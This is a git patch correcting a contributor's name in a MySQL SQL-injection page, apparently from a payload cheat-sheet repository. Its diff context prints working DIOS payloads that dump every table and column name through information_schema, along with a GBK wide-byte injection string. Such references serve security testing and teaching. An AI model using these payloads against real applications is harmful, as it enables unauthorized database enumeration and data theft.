From d0c313ee1446192e12075a68aa92f953becbd5ed Mon Sep 17 00:00:00 2001 From: Shariq Malik <19536819+shariqmalik@users.noreply.github.com> Date: Tue, 24 Dec 2024 21:48:08 +0500 Subject: [PATCH] Typo correction My name is spelled incorrectly here :D --- SQL Injection/MySQL Injection.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/SQL Injection/MySQL Injection.md b/SQL Injection/MySQL Injection.md index 90441f0c51..0559461b58 100644 --- a/SQL Injection/MySQL Injection.md +++ b/SQL Injection/MySQL Injection.md @@ -471,7 +471,7 @@ DIOS (Dump In One Shot) SQL Injection is an advanced technique that allows an at +make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@) ``` -* sharik +* Shariq ```sql (select(@a)from(select(@a:=0x00),(select(@a)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(@a)in(@a:=concat(@a,table_name,0x203a3a20,column_name,0x3c62723e))))a) ``` @@ -795,4 +795,4 @@ Therefore, by using the payload `?id=1%df' and 1=1 --+`, after PHP adds the back - [MySQL Out of Band Hacking - Osanda Malith Jayathissa - February 23, 2018](https://www.exploit-db.com/docs/english/41273-mysql-out-of-band-hacking.pdf) - [SQL Truncation Attack - Rohit Shaw - June 29, 2014](https://resources.infosecinstitute.com/sql-truncation-attack/) - [SQLi filter evasion cheat sheet (MySQL) - Johannes Dahse - December 4, 2010](https://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/) -- [The SQL Injection Knowledge Base - Roberto Salgado - May 29, 2013](https://websec.ca/kb/sql_injection#MySQL_Default_Databases) \ No newline at end of file +- [The SQL Injection Knowledge Base - Roberto Salgado - May 29, 2013](https://websec.ca/kb/sql_injection#MySQL_Default_Databases)